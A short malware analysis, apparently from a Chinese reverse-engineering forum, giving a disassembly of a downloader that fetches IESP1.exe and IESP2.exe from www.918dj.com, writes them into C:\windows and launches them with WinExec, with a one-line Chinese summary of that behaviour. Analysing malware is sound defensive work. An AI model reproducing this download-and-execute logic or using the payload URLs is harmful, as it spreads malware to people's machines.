<span class="pediy"><span class="pediy">
:00403648 55 push ebp
:00403649 8BEC mov ebp, esp
:0040364B 83C4F0 add esp, FFFFFFF0
:0040364E 53 push ebx
:0040364F 56 push esi
:00403650 57 push edi
:00403651 B8F0354000 mov eax, 004035F0
:00403656 E8B9FCFFFF call 00403314
:0040365B 33C0 xor eax, eax
:0040365D 55 push ebp
:0040365E 68B1364000 push 004036B1
:00403663 64FF30 push dword ptr fs:[eax]
:00403666 648920 mov dword ptr fs:[eax], esp
* Possible StringData Ref from Code Obj ->"C:\windows\winsoft1.exe"
|
:00403669 BACC364000 mov edx, 004036CC
* Possible StringData Ref from Code Obj ->"http://www.918dj.com/IESP1.exe"
|
:0040366E B8EC364000 mov eax, 004036EC
:00403673 E8B0FEFFFF call 00403528
:00403678 84C0 test al, al
:0040367A 740C je 00403688
:0040367C 6A00 push 00000000
* Possible StringData Ref from Code Obj ->"C:\windows\winsoft1.exe"
|
:0040367E 680C374000 push 0040370C
* Reference To: KERNEL32.WinExec, Ord:0000h
|
:00403683 E840FDFFFF Call 004033C8
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040367A(C)
|
* Possible StringData Ref from Code Obj ->"C:\windows\winsoft2.exe"
|
:00403688 BA2C374000 mov edx, 0040372C
* Possible StringData Ref from Code Obj ->"http://www.918dj.com/IESP2.exe"
|
:0040368D B84C374000 mov eax, 0040374C
:00403692 E891FEFFFF call 00403528
:00403697 84C0 test al, al
:00403699 740C je 004036A7
:0040369B 6A00 push 00000000
* Possible StringData Ref from Code Obj ->"C:\windows\winsoft2.exe"
|
:0040369D 686C374000 push 0040376C
* Reference To: KERNEL32.WinExec, Ord:0000h
|
:004036A2 E821FDFFFF Call 004033C8
很简单，该病毒下载http://www.918dj.com/IESP1.exe或者http://www.918dj.com/IESP2.exe并执行
